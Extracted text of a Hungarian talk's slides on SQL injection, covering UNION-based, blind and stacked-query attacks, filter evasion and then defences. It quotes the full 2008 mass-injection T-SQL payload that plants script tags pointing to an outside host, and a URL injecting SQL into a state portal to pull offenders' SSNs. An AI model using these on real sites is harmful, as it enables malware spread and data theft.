Ez a szuri fájni fog!



Hasonló dokumentumok
Adatbázisok elleni fenyegetések rendszerezése. Fleiner Rita BMF/NIK Robothadviselés 2009

Webapp (in)security. Gyakori hibákról és azok kivédéséről fejlesztőknek és üzemeltetőknek egyaránt. Veres-Szentkirályi András

Adatbázis kezelés Delphiben. SQL lekérdezések

Adatbázisok I A relációs algebra

Adatbázisok. 8. gyakorlat. SQL: CREATE TABLE, aktualizálás (INSERT, UPDATE, DELETE), SELECT október október 26. Adatbázisok 1 / 17

ADATBÁZIS-KEZELÉS - BEVEZETŐ - Tarcsi Ádám, ade@inf.elte.hu

Kilencedik témakör: Lazarus-Firebird. Készítette: Dr. Kotsis Domokos

Adatbázis-lekérdezés. Az SQL nyelv. Makány György

Adatbázisok* tulajdonságai

Dr. Pál László, Sapientia EMTE, Csíkszereda WEB PROGRAMOZÁS 4.ELŐADÁS. Adatbázis alapú alkalmazások készítése PHP-ben

LBRA6i integrált rendszer

Adatbázis-kezelés. Harmadik előadás

8. Gyakorlat SQL. DDL (Data Definition Language) adatdefiníciós nyelv utasításai:

SQL DDL-2 (aktív elemek) triggerek

A könyv tartalomjegyzéke

A gyakorlat során MySQL adatbázis szerver és a böngészőben futó phpmyadmin használata javasolt. A gyakorlat során a következőket fogjuk gyakorolni:

Adatbázisok elmélete 9. előadás

A relációs adatbáziskezelés szabványos nyelve Két fő csoportba sorolhatók az utasításai

OO PDO. Tehát PDO használatával, könnyen átállhatunk egy másik adatbáziskezelőre, anélkül hogy a kódot teljes egészében újraírnánk.

SQL jogosultság-kezelés. Privilégiumok Grant és Revoke Grant Diagrammok

Egészítsük ki a Drupal-t. Drupal modul fejlesztés

Bevezetés: az SQL-be

SQL ALAPOK. Bevezetés A MYSQL szintaxisa Táblák, adatok kezelésének alapjai

ADATBÁZIS-KEZELÉS FÉLÉVES FELADAT

Adatbázis Rendszerek II. 5. PLSQL Csomagok 16/1B IT MAN

Adatbázis használat I. 5. gyakorlat

Adatbázisok elmélete 9. előadás

Bemutatkozás. Heilig Szabolcs Hojtsy Gábor Illés Szabolcs Palócz István

Tartalomjegyzék. Tartalomjegyzék 1. Az SQL nyelv 1 Az SQL DDL alapjai 2

Készítette: Szabóné Nacsa Rozália

SQL. Táblák összekapcsolása lekérdezéskor Aliasok Allekérdezések Nézettáblák

Adatbázisok. 8. gyakorlat. SQL: CREATE TABLE, aktualizálás (INSERT, UPDATE, DELETE) október október 22. Adatbázisok 1 / 14

Adatbázis Rendszerek II. 1. SQL programozási felületek 39/1B IT MAN

Adatbázis Rendszerek II. 8. Gyakorló környezet

Kalmár György Adatbázis alapú rendszerek

LOGISZTIKAI ADATBÁZIS RENDSZEREK JOIN, AGGREGÁCIÓ

A gyakorlat során MySQL adatbázis szerver és a böngészőben futó phpmyadmin használata javasolt. A gyakorlat során a következőket fogjuk gyakorolni:

Az SQL nyelv Structured Query Language (Struktúrált lekérdező nyelv)

B IT MAN 65/1. Adatbázis Rendszerek II. Ellenőrző kérdések APLSQL B IT MAN. v:

SQL parancsok feldolgozása

Adatbázisok I. Az SQL nyelv

PL/SQL (folytatás) Kurzorok, függvények, eljárások

STRUCTURED QUERY LANGUAGE(SQL) - ALAPOK

Adatbázisok. 2. gyakorlat SQL november november 12. Adatbázisok 1 / 31

Adatbázis használata PHP-ből

B I T M A N B I v: T M A N

Elemi alkalmazások fejlesztése IV.

SQL. 1.rész. 1.elıadás // Adatbázisok-1 elıadás // Ullman-Widom (Stanford) tananyaga alapján // Hajas Csilla (ELTE IK) 1

SQL haladó. Külső összekapcsolások, Csoportosítás/Összesítés, Beszúrás/Törlés/Módosítás, Táblák létrehozása/kulcs megszorítások

Webfejlesztés 4. alkalom

A gyakorlat során MySQL adatbázis szerver és a böngészőben futó phpmyadmin használata javasolt. A gyakorlaton a következőket fogjuk gyakorolni:

Adatbázis rendszerek SQL nyomkövetés

Az SQL adatbázisnyelv: DML

Informatikai képzés Információs rendszerek dr. Hajas Csilla (ELTE IK)

ADATBÁZISOK gyakorlat: SQL 2. rész SELECT

A szürke háttérrel jelölt fejezet/alfejezet szövege a CD-mellékleten található. A CD-melléklet használata. 1. Elméleti áttekintés 1

Adatbázis Rendszerek I. 10. SQL alapok (DML esettanulmány)

Adatbázis tartalmának módosítása

Adatbázis használat I. 2. gyakorlat

PHP-MySQL. Adatbázisok gyakorlat

Adatbáziskezelı-szerver SQL. Relációs adatbázis-kezelık. Relációs adatszerkezet. Házi feladat

Gyakorlás: Hozzunk létre egy Alkalmazottak táblát AZO szám, Részleg szöveg, Munkakör szöveg és BelépésDátuma dátum típussal.

Adatbázisok I. Definíció: DDL: - objektum létrehozás CREATE - objektum megszüntetés DROP - objektum módosítás ALTER

Adatbázis rendszerek. dr. Siki Zoltán

MS ACCESS 2010 ADATBÁZIS-KEZELÉS ELMÉLET SZE INFORMATIKAI KÉPZÉS 1

Táblakezelés: Open SQL Internal table. Tarcsi Ádám: Az SAP programozása 1.

Adatbázis-kezelő rendszerek. dr. Siki Zoltán

Adatbázisok. 9. gyakorlat SQL: SELECT október október 26. Adatbázisok 1 / 14

Adatbázis rendszerek 7. előadás State of the art

Vizuális programozás gyakorlat

Adatbáziskezelő-szerver. Relációs adatbázis-kezelők SQL. Házi feladat. Relációs adatszerkezet

Tábla létrehozása: CREATE TABLE alma( ID INT( 3 ) NOT NULL PRIMARY KEY, Leiras VARCHAR( 100 ) );

Adatbáziskezelés php-ben MySQL adatbáziskezelı rendszert használva

SQL PÉLDATÁR. készült a PTE TTK Iskolai informatika III. kurzus teljesítésére

INFORMATIKA JAVÍTÁSI-ÉRTÉKELÉSI ÚTMUTATÓ

Bevezetés az SQL-be. Tankönyv: Ullman-Widom: Adatbázisrendszerek Alapvetés Második, átdolgozott kiadás, Panem, 2009

Tranzakciókezelés PL/SQL-ben

Adatbázisok elmélete 10. előadás

N Y I L A T K O Z A T

Az indexelés újdonságai Oracle Database 12c R1 és 12c R2

Adatbázisok-1 előadás Előadó: dr. Hajas Csilla

SQL*Plus. Felhasználók: SYS: rendszergazda SCOTT: demonstrációs adatbázis, táblái: EMP (dolgozó), DEPT (osztály) "közönséges" felhasználók

SQL DDL-1: táblák és megszorítások

ADATBÁZIS RENDSZEREK I BEADANDÓ

Programozó, csoportvezető

BEVEZETÉS Az objektum fogalma

Virtuális Obszervatórium. Gombos Gergő

Debreceni Egyetem Informatikai Kar TANULÓI NYILVÁNTARTÓ SZOFTVER FIREBIRD ADATBÁZIS ALKALMAZÁSÁVAL

Kedvenc Linkek a témakörben: MySQL mindenkinek Vizuális adatbázis tervezés

SQL gyakorló feladatok. 6. Adatbázis gyakorlat április 5.

Java és web programozás

WEBFEJLESZTÉS 2. ADATBÁZIS-KEZELÉS, OSZTÁLYOK

Adatbázis, adatbázis-kezelő

Access alapok. Megnevezés Művelet Minta. Új adatbázis létrehozása. Új / Üres adatbázis.. Tábla létrehozása tervező nézetben.

Java és web programozás

Együttes hozzárendelés


INFORMATIKA. PRÓBAÉRETTSÉGI május KÖZÉPSZINT. Pontozási és javítási útmutató

Eseményvezérelt alkalmazások fejlesztése II 12. előadás. Objektumrelációs adatkezelés (ADO.NET) Giachetta Roberto

A jquery.clickheat egy jquery plugin, ami lekezeli a kattintásokat a kijelölt tartományban. jquery.clickheat

Átírás:

Ez a szuri fájni fog!

A Táptalaj A web kezd univerzális platformmá válni A szolgáltatások bárki számára elérhetőek Mindenki dinamikus tartalomra vágyik A fejlesztés egyszerű(nek tűnik) A programozó definició szerint is lusta Évezredes problémák, mégis sokan vannak, akik nem hallottak róluk, pedig kellet volna. Ezek következményeként rengeteg szemétre való kód születik de nem csak az amatőrök munkája nyomán!

Mire van szükségünk? Alapvető webfejlesztési ismeretekre Alapvető ismeretekre a relációs adatbázisokkal kapcsolatban Internetkapcsolatra Egy hétköznapi böngészőre

Az ádozati bárányok

Az áldozati bárányok Apache+MySQL+PHP (LAMP vagy WAMP) ASP.NET+IIS kombináció MS SQL Server vagy MySQL adatbázisokkal A PHP programozók gyakran nem követik az OOP szemléletet A.NET-esek sokszor VisualBasices múlttal rendelkeznek, nincsenek tisztában a web biztonsági kihívásaival

A birka dolgozik Nyissunk porszívóboltot! Tároljuk az adatbázisban a porszívókat (porszivo tábla), és a vásárlókat (birka tábla)! Szeretnénk az egyes porszívók adatait különkülön megjeleníteni, írja ki tehát a porszivo.php a következő lekérdezés eredményét: select * from porszivo where id=$_get['id'] Persze a bemenő paramétereket elfelejtjük ellenőrizni...

Jönnek a farkasok: SQL beszúrás Egy aposztróf (majdnem) mindent elárul! 7 bűvös karakter pedig általában elég a teljes bizonyossághoz Nem a levegőbe beszélek, jöjjön egy kis demo!

SQL beszúrás Ebből a lekérdezésből: select * from porszivo where id=1 Ez lett: select * from porszivo where id=1000 union select nev,jelszo from birka Az SQL nyelv szép, az UNION SELECT pedig jó barát :)

Mit kell tudni? Az SQL nyelvet :) A lekérdezendő tábla nevét A lekérdezés attributumainak számát A lekérdezendő attributumok nevét Az attributumok típusát (nem mindig)

Honnan lehet tudni ezeket? - Whitebox teszt Ismerjük a forráskódot Nyílt forráskódú termékeknél ez az alapeset, nagyon sok ilyen van: Wordpress, Drupal, Joomla!, phpbb stb,stb,stb... Ezeknél általában nem a core fejlesztőgárda, hanem a kiterjesztésfejlesztők a birkák A feladat itt sokszor nehezebb mint aminek A feladat itt sokszor nehezebb mint aminek látszik!

Honnan lehet tudni ezeket? - Blackbox teszt Minden rendszer tekinthető fekete doboznak A dolog könnyebb, mint hinnénk! A hibaüzenetek barátok A debug információk annál inkább ;) Isten áldja Codd törvényét! (és a MySQL 5-öt :)

Tisztítsuk meg az elménket! Képzeljük magunkat a tudatlan támadó helyébe! Csak az interfészt látjuk Egyetlen segítőtársunk az SQL referencia... meg egy Firefox kiterjesztés (thx dnet! :) Essünk neki!

Demó Az előző példa kicsit kényelmesebb környezetben Szintaktikailag helyes kérés konstruálása: mezők száma és típusa Egyáltalán mit keresünk? Tábla- és mezőnevek Mindezt hibaüzenetek nélkül!

Demó - Mezők Tudnunk kell hány darab (és milyen típusú) mező van az eredeti lekérdezésben, hogy az UNION SELECT lefusson Nekiugorhatunk nyers erővel, de ez elég lassú, feltűnő, és legfőképpen: nem elegáns Ráadásul a probléma exponenciális bonyolultságúvá válhat, ha figyelnünk kell az adattípusopkra is Az intuíció segíthet, de ez nem túl egzakt... Szóval ezt inkább hagyjuk...

Demó - Mezők Kérdezzünk le mindenhol NULL-t, ez minden adattípusba belefér! Később ráérunk ilyeneken gondolkozni... A lekérdezés attribútumaira sorszám szerint is hivatkozhatunk Csoportosítsuk a lekérdezést az n. oszlopa szerint! Logaritmikus bonyolultság :) De az experteknek még ez is büdös lehet, nekik találták ki...

Demó - Codd törvénye Edgar Frank Codd (1923-2003), a relációs adatbázisok elméletének megalapozója 12 törvény, ezek közül minket az első érdekel: Minden adatbázisban tárolt információ egy és csakis egy féle képpen tárolható, nevezetesen egy tábla valamely sorának valamely oszlopának értékeként Magyarul: DML-lel minden információ elérhető Magyarabbul: Ha tudunk SELECT lekérdezéseket csinálni, mindent tudunk!

Codd törvénye - Megvalósítások MySQL, PostgreSQL: INFORMATION_SCHEMA MS SQL: SYSOBJECTS

Demó - Lépjünk túl az unión! Az INSERT és UPDATE kérések is legalább ilyen veszélyesek! Subquerykkel lekérdezések futtathatók Káosz, pusztulás, DoS Erről sokszor még azok is elfeledkeznek, akik a SELECT-ekre figyelnek

Query Stacking Elsősorban ASP oldalakra jellemző Egyetlen paranccsal több kérés is futtatható. Ezek akár egyetlen String részei is lehetnek (pl. pontosvesszővel elválasztva) Hibás alkalmazás esetén gyakorlatilag konzolt kapunk az adatbázisszerverhez

Query Stacking - lehetőségek DDL kérések, táblák, triggerek, tárolt eljárások létrehozása és törlése Lokális exploitok futtatása Eredmény: Adatvesztés Hamis adatok DoS Jogosultságkiterjesztés stb...

Query Stacking - Incidensek Az utóbbi időben több automatizált támadás indult ASP-s webalkalmazások ellen A cél általában malware propagálás Általában rejtett IFRAME-eket fűznek a szöveges mezők végéhez, melyekben legtöbbször egy kínai szerveren tárolt JavaScript fut.

Query Stacking - Példakód DECLARE @T varchar(255),@c varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--''+['+@c+'] where '+@C+' not like ''%"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--''')fetch NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Vakon, vakmerően Sok esetben csak azt látjuk, hogy lefutott-e az általunk indított kérés, nincs kimenet Vissza a bináris gyökerekhez! Tegyünk fel eldöntendő kéréseket! Az eredmény legyen egyik esetben egy szépen lefutó lekérdezés...... másik esetben pedig valami ettől különböző Fatális hiba Időzítés

Vakon, vakmerően A kérdés vonatkozzon egy mező értékére, vagy egy mező egy karakterének értékére Bináris keresés Ez persze nem embernek való munka, írjunk rá egy programot! Ez a program lehet akár többszálú n*log(k) bonyolultság, párhuzamosítva: nem is olyan rossz! Lássuk ezt a gyakorlatban!

Utazás az OS középpontja felé Az adatbázis nem elég! Rootoljunk :) MySQL LOAD_FILE() INTO OUTFILE FROM DUMPFILE MSSQL xp_cmdshell és barátai Mindez persze csak megfelelően idióta jogosultságkiosztás mellet működik

Veszélyesség - Incidensek 2006. június 19. - Microsoft UK. 2007. augusztus 12. - ENSZ 2008 január és május között több millió ASP-s weboldalt fertőztek meg, többek között: Trend Micro ENSZ újfent Redmond Mag 2008. január 21. - RIAA 2008. július Kaspersky

Személyes kedvenc :) http://docapp8.doc.state.ok.us/pls/portal30/url/page/sor_roster?sqlstring=select distinct o.offender_id,doc_number,o.social_security_number,o.date_of_birth,o.first_ name,o.middle_name,o.last_name,o.sir_name,sor_data.getcd(race) race,sor_data.getcd(sex) sex,l.address1 address,l.city,l.state stateid,l.zip,l.county,sor_data.getcd(l.state) state,l.country countryid,sor_data.getcd(l.country) country,decode(habitual,'y','habitual','') habitual,decode(aggravated,'y','aggravated','') aggravated,l.status,x.status,x.registration_date,x.end_registration_date,l.juris diction from registration_offender_xref x, sor_last_locn_v lastlocn, sor_offender o, sor_location l, (select distinct offender_id from sor_location where status = 'Verified' and upper(zip) = '73064' ) h where lastlocn.offender_id(%2b) = o.offender_id and l.location_id(%2b) = lastlocn.location_id and x.offender_id = o.offender_id and x.status not in ('Merged') and x.reg_type_id = 1 and nvl(x.admin_validated,to_date(1,'j')) >= nvl(x.entry_date,to_date(1,'j')) and x.status = 'Active' and x.status <> 'Deleted' and h.offender_id = o.offender_id order by o.last_name,o.first_name,o.middle_name&sr=yes

Veszélyesség Itthonról: Nagy politikai pártok Társkereső oldalak Nagy forgalmú webmail szolgáltatók Hírportálok TV társaságok Igen, azok a helyek, ahová TE is regisztrálva vagy!

Védekezés alkalmazás kód Minden felhasználói bemenetet szűrjünk megfelelően... A dolog nem ilyen egyszerű Mégis mit kell kiszűrni? Az előregyártott szűrő függvények sem mindig tökéletesek, hát még a sufni megoldások! Adatbázis API (pl. PDO) Használjunk előkészített lekérdezéseket! Jobb helyeken objektum-perzisztencia, pl. Hibernate (Java,.NET) PHP IDS

Szűrések elkerülése Aposzróf String konkatenálás karakterenként, ASCII kódból Heaxdecimális megadás Hibás karakterkódolási mechanizmusok kihasználása Szünet Kommentár Pipicsőr, Egyenlőség BETWEEN x0 AND x1 Kulcsszavak Kommentár szintén

Védekezés webszerver Egy rewrite engine meg tudja nehezíteni a támadó dolgát Ez nem biztonsági feature! Webalkalmazás tűzfalak A szűrőszabályokat el lehet szúrni rendesen Zavarhatja a legitim kéréseket Teljesítmény PHP IDS, automatikus include Szintén betehet a rendes paramétereknek

Védekezés - adatbázis A kulcs a jogosultságkiosztás Külön adatbázisfelhasználók Fájlrendszer funkciók letiltása STRICT mód Legalább a jelszvakat hash-eljük el rendesen!

Védekezés operációs rendszer Az általános elvek érvényesek Korlátozott jogkörrel futó webszerver Korlátozott jogkörrel futó adatbázisszerver

Védekezés audit Kód szinten: Kézzel Pixy Behatolás teszt SQLNinja SQLier SQLInjectMe, HackBar FF plugin w3af

Linkek http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ http://www.davidlitchfield.com http://milw0rm.com http://php-ids.org http://www.modsecurity.org http://w3af.sourceforge.net http://bcable.net/project.php?sqlier http://sqlninja.sourceforge.net

greet g0es to ;) Hack Da Planet! ;) Buherátor http://buhera.blog.hu - buherator@gmail.com #hohh @ IRCNet